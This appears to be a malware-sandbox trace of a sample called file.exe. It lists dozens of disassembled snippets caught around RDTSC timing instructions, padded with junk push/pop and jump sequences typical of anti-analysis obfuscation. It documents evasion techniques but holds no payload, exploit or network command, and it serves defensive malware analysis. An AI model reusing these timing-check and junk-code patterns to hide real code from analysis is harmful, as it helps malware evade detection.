Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAEF74 second address: CAEF86 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F58CCD4D38Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAEF86 second address: CAEF95 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F58CCBE1BEBh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB2E4C second address: CB2E5A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F58CCD4D386h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB2E5A second address: CB2E6B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F58CCBE1BEAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB720F second address: CB7227 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F58CCD4D390h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7227 second address: CB722D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7C3E second address: CB7C44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBC61B second address: CBC633 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F58CCBE1BE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F58CCBE1BEEh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBC633 second address: CBC64D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F58CCD4D386h 0x0000000a jmp 00007F58CCD4D390h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBC64D second address: CBC658 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBC658 second address: CBC65E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBC65E second address: CBC664 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBC664 second address: CBC676 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007F58CCD4D386h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBCBCD second address: CBCBDD instructions: 0x00000000 rdtsc 0x00000002 jne 00007F58CCBE1BE6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBCBDD second address: CBCBE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F58CCD4D386h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBCD5F second address: CBCD75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F58CCBE1BEEh 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBCD75 second address: CBCDA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F58CCD4D395h 0x00000009 pop eax 0x0000000a popad 0x0000000b push edx 0x0000000c jmp 00007F58CCD4D395h 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBCF2C second address: CBCF3F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F58CCBE1BECh 0x00000008 push esi 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBD4B7 second address: CBD4C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 je 00007F58CCD4D386h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4037C second address: C40387 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40387 second address: C4038B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBC3AD second address: CBC3B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBC3B9 second address: CBC3BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC25A0 second address: CC25B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F58CCBE1BF4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC25B8 second address: CC25BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC25BC second address: CC25C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC25C6 second address: CC25E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F58CCD4D398h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85CEF second address: C85D06 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jo 00007F58CCBE1BFCh 0x0000000f push eax 0x00000010 push edx 0x00000011 jo 00007F58CCBE1BE6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85D06 second address: C85D85 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F58CCD4D38Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F58CCD4D388h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 mov edx, dword ptr [ebp+122D188Eh] 0x0000002a lea eax, dword ptr [ebp+12487A25h] 0x00000030 push 00000000h 0x00000032 push esi 0x00000033 call 00007F58CCD4D388h 0x00000038 pop esi 0x00000039 mov dword ptr [esp+04h], esi 0x0000003d add dword ptr [esp+04h], 00000019h 0x00000045 inc esi 0x00000046 push esi 0x00000047 ret 0x00000048 pop esi 0x00000049 ret 0x0000004a jmp 00007F58CCD4D394h 0x0000004f mov dword ptr [ebp+122D26AFh], edi 0x00000055 push eax 0x00000056 pushad 0x00000057 push esi 0x00000058 pushad 0x00000059 popad 0x0000005a pop esi 0x0000005b pushad 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C86547 second address: C8654C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C867DB second address: C86803 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F58CCD4D399h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007F58CCD4D38Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C86803 second address: C86807 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C86807 second address: C86811 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F58CCD4D386h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C86C74 second address: C86C78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C870C1 second address: C870DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F58CCD4D392h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C870DF second address: C870E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1858 second address: CC189C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 push edx 0x00000011 pop edx 0x00000012 popad 0x00000013 push ebx 0x00000014 jnc 00007F58CCD4D386h 0x0000001a jmp 00007F58CCD4D399h 0x0000001f pop ebx 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 jno 00007F58CCD4D38Ah 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC189C second address: CC18A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1C94 second address: CC1CA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F58CCD4D386h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1CA0 second address: CC1CA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1CA4 second address: CC1CAE instructions: 0x00000000 rdtsc 0x00000002 ja 00007F58CCD4D386h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1CAE second address: CC1CD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jg 00007F58CCBE1BEEh 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a pop eax 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1CD1 second address: CC1CD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1CD5 second address: CC1CE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F58CCBE1BE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1E2B second address: CC1E58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 ja 00007F58CCD4D386h 0x0000000b pop eax 0x0000000c push esi 0x0000000d jno 00007F58CCD4D386h 0x00000013 pop esi 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c jmp 00007F58CCD4D391h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1E58 second address: CC1E5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1E5E second address: CC1E77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F58CCD4D393h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1E77 second address: CC1E7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1FE2 second address: CC1FEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1FEA second address: CC2000 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F58CCBE1BF1h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC2000 second address: CC2016 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F58CCD4D386h 0x00000009 pushad 0x0000000a popad 0x0000000b push edx 0x0000000c pop edx 0x0000000d popad 0x0000000e jo 00007F58CCD4D38Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC2016 second address: CC2055 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 jmp 00007F58CCBE1BF6h 0x0000000e pushad 0x0000000f popad 0x00000010 pop ecx 0x00000011 push ecx 0x00000012 jng 00007F58CCBE1BE6h 0x00000018 jmp 00007F58CCBE1BF5h 0x0000001d pop ecx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC959F second address: CC95A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC9116 second address: CC9126 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ecx 0x00000008 jp 00007F58CCBE1BE6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCB9A1 second address: CCB9AC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jno 00007F58CCD4D386h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD0C19 second address: CD0C41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F58CCBE1BF8h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c push ebx 0x0000000d jl 00007F58CCBE1BE6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD0F64 second address: CD0F6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C86A2A second address: C86AAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007F58CCBE1BE8h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 00000014h 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 mov ebx, dword ptr [ebp+12487A64h] 0x00000029 jmp 00007F58CCBE1BF5h 0x0000002e add eax, ebx 0x00000030 push 00000000h 0x00000032 push esi 0x00000033 call 00007F58CCBE1BE8h 0x00000038 pop esi 0x00000039 mov dword ptr [esp+04h], esi 0x0000003d add dword ptr [esp+04h], 00000017h 0x00000045 inc esi 0x00000046 push esi 0x00000047 ret 0x00000048 pop esi 0x00000049 ret 0x0000004a jo 00007F58CCBE1BECh 0x00000050 xor edx, dword ptr [ebp+12461D5Bh] 0x00000056 mov dword ptr [ebp+12471ACAh], eax 0x0000005c nop 0x0000005d push eax 0x0000005e push edx 0x0000005f jmp 00007F58CCBE1BEEh 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C86AAE second address: C86B0B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F58CCD4D396h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop ebx 0x0000000f jmp 00007F58CCD4D398h 0x00000014 popad 0x00000015 nop 0x00000016 jl 00007F58CCD4D38Ch 0x0000001c push 00000004h 0x0000001e and edx, dword ptr [ebp+122D1885h] 0x00000024 nop 0x00000025 push eax 0x00000026 push edx 0x00000027 jbe 00007F58CCD4D38Ch 0x0000002d jbe 00007F58CCD4D386h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD1CC9 second address: CD1CD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD471C second address: CD4735 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F58CCD4D386h 0x0000000a jmp 00007F58CCD4D38Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD49EB second address: CD49EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD49EF second address: CD49F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD8D54 second address: CD8D63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F58CCBE1BE6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD823C second address: CD8251 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 ja 00007F58CCD4D38Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD8251 second address: CD826E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F58CCBE1BF9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD8436 second address: CD843A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD843A second address: CD843E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD8741 second address: CD8754 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F58CCD4D38Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE0FA2 second address: CE0FBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 jp 00007F58CCBE1BE6h 0x0000000f jmp 00007F58CCBE1BEDh 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE0FBF second address: CE1003 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F58CCD4D38Ch 0x00000008 pop ecx 0x00000009 ja 00007F58CCD4D38Ah 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 jmp 00007F58CCD4D393h 0x00000018 jmp 00007F58CCD4D391h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDEEDF second address: CDEEE9 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F58CCBE1BE6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDFD86 second address: CDFD96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F58CCD4D38Bh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE05FC second address: CE063F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F58CCE55458h 0x00000008 jg 00007F58CCE55446h 0x0000000e pop edx 0x0000000f jp 00007F58CCE5544Eh 0x00000015 jng 00007F58CCE55446h 0x0000001b push edi 0x0000001c pop edi 0x0000001d pop edx 0x0000001e pop eax 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F58CCE5544Dh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE063F second address: CE0643 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE0643 second address: CE0649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE0649 second address: CE064F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE064F second address: CE0654 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE65C7 second address: CE65CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE65CB second address: CE65CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE65CF second address: CE65E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F58CCB8AE36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE65E2 second address: CE65F6 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F58CCE55446h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jp 00007F58CCE55448h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE65F6 second address: CE6620 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F58CCB8AE3Fh 0x00000009 jmp 00007F58CCB8AE47h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE6620 second address: CE6645 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F58CCE55446h 0x00000008 jmp 00007F58CCE55451h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jc 00007F58CCE55446h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE6645 second address: CE6649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE6649 second address: CE664D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE950C second address: CE953C instructions: 0x00000000 rdtsc 0x00000002 js 00007F58CCB8AE42h 0x00000008 jmp 00007F58CCB8AE3Ah 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 jmp 00007F58CCB8AE45h 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE953C second address: CE9542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE993C second address: CE9947 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
